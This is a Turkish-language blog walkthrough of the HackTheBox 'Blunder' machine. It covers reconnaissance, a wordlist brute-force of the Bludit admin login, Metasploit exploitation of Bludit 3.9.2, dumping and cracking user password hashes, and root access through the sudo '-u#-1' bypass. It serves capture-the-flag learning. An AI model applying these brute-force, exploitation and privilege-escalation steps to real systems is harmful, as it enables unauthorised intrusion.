Blunder (HTB)
Blunder (HTB) Makine Çözümü
HackTheBox’ın Blunder adlı makinesinin çözümünü sizlere anlatmak isterim.
Önce vpn ile sanal ağa katılın. Makine’nin sayfasından ihtiyacınız olan IP adresini alın ve makine ile bağlantınızın olup olmadığını kontrol etmek için pingleyin.
Makine İle İlgili Bilgi Toplama
$ nmap -T5 -A 10.10.10.191
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-22 21:10 +03
Nmap scan report for 10.10.10.191
Host is up (0.26s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Linux 2.6.32 - 3.1 (90%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (90%), Linux 3.7 (90%), Linux 2.6.32 - 3.13 (89%), Linux 3.0 - 3.2 (89%), Linux 3.3 (89%), Infomir MAG-250 set-top box (89%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 181.24 ms 10.10.16.1
2 357.20 ms 10.10.10.191
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.57 seconds
HTTP – A Blunder Of Interesting Facts
Hemen sayfa üzerinde araştırmaya başlayalım.
Sayfaların Kaynak Kodları
Anasayfadaki html ve css kodlarına bir bakalım.
Pek fazla bir şey yok gibi. Bir kullanıcı veya servis bilgisi bulamadık. Yukarıdaki link etiketlerinde version bilgisi var, onlar belki işimize yarayabilir. Şu aşamada sayfaların kaynak kodlarında pek fazla bir şey olmadığını tahmin ediyorum bu yüzden dirb ile fuzzinge girişiyorum.
Dirb İle Sitede Fuzzing
Dirbi kullanarak sitedeki diğer sayfaları tarayalım.
$ dirb http://10.10.10.191
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Sep 23 19:31:03 2020
URL_BASE: http://10.10.10.191/
WORDLIST_FILES: /usr/share/dirb/wordlists/common_2.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.191/ ----
+ http://10.10.10.191/0 (CODE:200|SIZE:7562)
+ http://10.10.10.191/about (CODE:200|SIZE:3281)
+ http://10.10.10.191/todo.txt (CODE:200|SIZE:118)
==> DIRECTORY: http://10.10.10.191/admin/
+ http://10.10.10.191/cgi-bin/ (CODE:301|SIZE:0)
+ http://10.10.10.191/LICENSE (CODE:200|SIZE:1083)
+ http://10.10.10.191/robots.txt (CODE:200|SIZE:22)
+ http://10.10.10.191/server-status (CODE:403|SIZE:277)
---- Entering directory: http://10.10.10.191/admin/ ----
+ http://10.10.10.191/admin/ajax (CODE:401|SIZE:0)
-----------------
END_TIME: Wed Sep 23 20:37:00 2020
DOWNLOADED: 9224 - FOUND: 7
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING
Yöneticinin kendine (yada diğer kullanıcıya)yazdığı bir yapılacaklar listesi. İçerisinde pek bir şey yok gibi. Sadece fergus adı dikkate değer gibi görünüyor, bunu kullanıcı adı olarak deneyebiliriz.
Şimdi de admin paneline bir bakalım.
Bludit Admin Panel Araştırması
bludit exploit
Şimdi, bludit ile ilgili bir ton exploit var. Daha ilk sayfadan çok çeşitli saldırı yöntemleri ve uygulamalrını görüyoruz. Burada dikkat etmemiz gereken önemli nokta şu, bludit ile ilgili olan bütün açıklar 3.9.2 sürümüne ait. Bu açıkların çoğunu elimizdeki bludit üzerinde deneyebiliriz.
Peki neye ihtiyacımız var? Panele giriş yapmak istiyoruz bu sebepten dolayı bruteforce tooluna ihtiyacımız var. Kısa bir araştırmadan sonra github’da pythonla yazılmış bir tool buldum, bu toolu paylaşıp nasıl kullanıldığını anlatacağım.
Panele Giriş için Bruteforce
Elimizde panele girmek için kullanabileceğimiz bir kullanıcı adı var. Bununla birlikte şifre kombinasyonlarıya sayfaya bir saldırı başlatmalıyız.
Wordlistin Oluşturulması
Wordlist oluşturmak için cewl toolunu kullanacağız. Bu tool kendisine verilen sitede araştırma yaparak kelimeler çıkarmaktadır.
$ cewl -d 10 -w wls -m 8 http://10.10.10.191
Parametreleri sırayla açıklayım.
- -d : İnceleme derinliği
- -w : Wordlistin adı
- -m : Kelimelerin minimum uzunluğu
Tool çıktı olarak bütün kelimeleri wls adlı dosyaya kaydedecektir.
Bruteforce
Bruteforce için kullanacağımız tool ise githubda bulunmakta. Toolu yazan arkadaşa çok teşekkür ederek saldırıya başlayalım.
Önce terminali açalım ve toolu çalıştıralım.
$ python3 bruteforce.py
python3 bruteforce.py <IP adress> <username> <wordlist>
$ python3 bruteforce.py 10.10.10.191 fergus wls
[*] Trying: interesting
[*] Trying: Creation
[*] Trying: November
[*] Trying: National
[*] Trying: description
[*] Trying: Bootstrap
[*] Trying: bootstrap
[*] Trying: Networks
[*] Trying: Copyright
[*] Trying: byEgotisticalSW
[*] Trying: Javascript
[*] Trying: American
[*] Trying: published
[*] Trying: received
[*] Trying: literature
[*] Trying: smartphones
[*] Trying: September
[*] Trying: supernatural
[*] Trying: suspense
[*] Trying: miniseries
[*] Trying: television
[*] Trying: including
[*] Trying: approximately
[*] Trying: collections
[*] Trying: Foundation
[*] Trying: Distinguished
[*] Trying: Contribution
[*] Trying: probably
[*] Trying: fictional
[*] Trying: character
[*] Trying: RolandDeschain
SUCCESS: Password found!
Use fergus:RolandDeschain to login.
Bludit Admin Paneline Giriş
Sırayla panelde bulunan sayfaları gezdikten sonra en işe yarar olan sayfa profil sayfası gibi duruyor. Bu sayfada profil resmi yükleme, şifre değiştirme gibi bir takım işlemleri gerçekleştirebiliyoruz.
Sizi bilmem ama ben ilk önce bu şifreyi değiştireceğim. Bu arada sayfada token verisi de var, bunu da kaydedelim lazım edebilir. Şifre değiştiği için de token değişti bilginiz olsun.
Bunların dışında profil resmi dikkatimi çok çekti. İçeri bir şekilde zararlı kod sokup çalıştırabilirsek terminal alabiliriz. Bu fikirden yola çıkarak içerisinde print yazan bir python kodunu profil resmi olarak seçip içeriye yolladım.
Fakat iş düşündüğüm kadar basit değildi, bu sebepten hiç beklemeden tekrardan google da konuyla ilgili araştırmaya başlayalım.
Saldırı
Shell Alma Çalışmaları (Inject and Execute)
Google’da exploit-db’de bulduğum bir kod var, fazlasıyla dikkatimi çekti. Exploitin adı Bludit 3.9.2 – Directory Traversal. Bu vatandaş tamda bizim istediğimiz işi görüyor. İçeriye php ile yazılmış zararlı kodu resim formatında içeriye gönderiyor. Fakat bu exploit onaylı değil, pek bir sorun olmaz ama daha iyisini belki bulabiliriz.
Araştırmaya yerel kaynaklardan devam ederek Metasploit e geçiyorum. Bludit kelimesini aratıyorum.
$ search bludit
Zaten bir adet exploit varmış o da çıktı.
Exploiti seçtikten sonra ayarları görüntülüyorum ve kendime göre exploiti hazırlıyorum.
Evet, oturumumuz geldi. Şimdi makine içerisinde gezinip bolca bilgi toplamamız gerekiyor.
Sistemde Gezinti
Öncce meterpreter’e shell komutunu veriyorum. Sonrasında gelen shell’e pwd komutunu verip nerede olduğuma bakıyorum.
$ shell
$ pwd
/var/www/bludit-3.9.2/bl-content/tmp
Bir tmp dosyasının içerisindeyim. Bundan sonraki işlemleri kolaylaştırması için bir bash shell alarak görevime devam ediyorum.
Bash shell için kullandığım komut:
$ /bin/bash -i
Önce bulunduğum dizinde ls komutunu çalıştırıp ne var ne yok bir baktım, fazla işe yarar bir şey olmayınca üst dizine geçtim.
Burada ilgimi çeken bir klasör var, database. Database içerisine girip baktığımızda çeşitli verileri içerisinde barından bir takım php dosyalarıyla karşılaşıyoruz. Bu dosyalar arasında user.php‘nin içerisine bir bakalım.
$ cat user.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Admin",
"firstName": "Administrator",
"lastName": "",
"role": "admin",
"password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
"salt": "5dde2887e7aca",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""
},
"fergus": {
"firstName": "",
"lastName": "",
"nickname": "",
"description": "",
"role": "author",
"password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
"salt": "jqxpjfnv",
"email": "",
"registered": "2019-11-27 13:26:44",
"tokenRemember": "",
"tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"codepen": "",
"instagram": "",
"github": "",
"gitlab": "",
"linkedin": "",
"mastodon": ""
}
}
Bu dosyada bluditte bulunan kullanıcıların bilgileri var. Kullanıcılara ait şifreler hash halinde tutuluyor, bunları çözmekle uğraşmayalım diğer klasörleri de gezelim.
Bulunduğum konumdan üç klasör yukarı çıkıp ls ile etrafa bakıyorum. Birtakım klasörler var, bunların yanında bludit’in 3.10 sürümü olan bir klasör daha var. İncelemek için oraya da giriyorum.
Önce content klasörüne girip içerisini kontrol ediyorum. Eski content klasöründeki dizinler de burada yer alıyor, önce database içerisindeki user.php dosyasını inceliyorum.
$ cat user.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}
}
Bu sürümde Hugo adında bir kullanıcının olduğunu görüyoruz. Bu kullanıcının da şifresi yine hash halinde. Diğer dosyalara da göz gezdirdikten sonra kısa bir mola verelim ve elimizdekileri görelim.
- Fergus, admin ve hugo adlı kullanıcıların hashleri.
- Yine bu kullanıcıların tokenleri.
- Bash Shell.
- Bludit adlı yazılımın 3.9.2 ve 3.10 sürümleri.
- Bluditin database dosyası.
Şimdi, bu kaynaklar sayesinde sistemde normal bir kullanıcı olmalıyız, peki ne yapabiliriz?
Önce sistemdeki kullanıcıları bir araştırmak lazım, sonrasında bu kullanıcıların şifrelerini kırmak için bir plana daha ihtiyacımız olacak. Diğer seçenek, tokenler ile admin olmaya çalışmak.
Kullanıcıya Erişim (User Capture)
Hızlı bir şekilde sistemin home dizinine gidelim ve ne var ne yok bir bakalım.
İki adet kullanıcımız var. Hugo ismi tanıdık geldi. Şifresinin hashine sahip olduğumuz bu kullanıcıya bir saldırı yapalım. Önce bu hashin hangi algoritma ile oluşturulduğunu bulmamaız lazım. Bunun için hash-identifier kullanacağız. Kullanımı gayet basit olan bu toolu terminalden çalıştırıp hangi fonksiyon ile oluşturulduğunu öğrenmek istediğiniz hashi identifier’a veriyorsunuz. Size hashin hangi fonksiyonla oluşturulduğuna dair yüksek olasılıktan düşük olasılığa doğru bir çıktı veriyor. Hemen deneyelim.
$ hash-identifier faca404fd5c0a31cf1897b823c695c85cffeb98d
Programın yanıtına göre bu bir sha-1 hashi. Kırmak için internete başvuralım.
Şifreyi bulduk. Şu ana kadar her şey ilginç bir şekilde hatasız ve doğruydu, garip. Neyse şimdi hugoya bir girelim neler var neler yok.
Yetki Yükseltme (Privilege Escalation)
Öncelikle nelerimiz varmış bir bakalım:
$ sudo -l
Şimdi bu komuttan sonra şöyle bir hata aldım.
sudo: no tty present and no askpass program specified
Bu hatadan kurtulmak ve ilerlemek için bize gerçek bir tty bash shell gerekiyor, bunun için python’ı tercih edebiliriz:
$ python -c 'import pty; pty.spawn("/bin/sh")'
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
$ sudo --version
Sudo version 1.8.25.p1
Arayalım…
sudo 1.8 security exploit
Sudo 1.8.27 – Security Bypass exploiti bulduk şimdi kullanalım. Exploitin açıklamasını okuduysanız sudoya -u#-1 parametresini vererek başka bir kullanıcı adına root’a erişim sağlayabiliyoruz. Hemen deneyelim.
$ sudo -u#-1 /bin/bash
Bu aşamadan sonra root oluyoruz.
Yorumlar
Yorum Gönder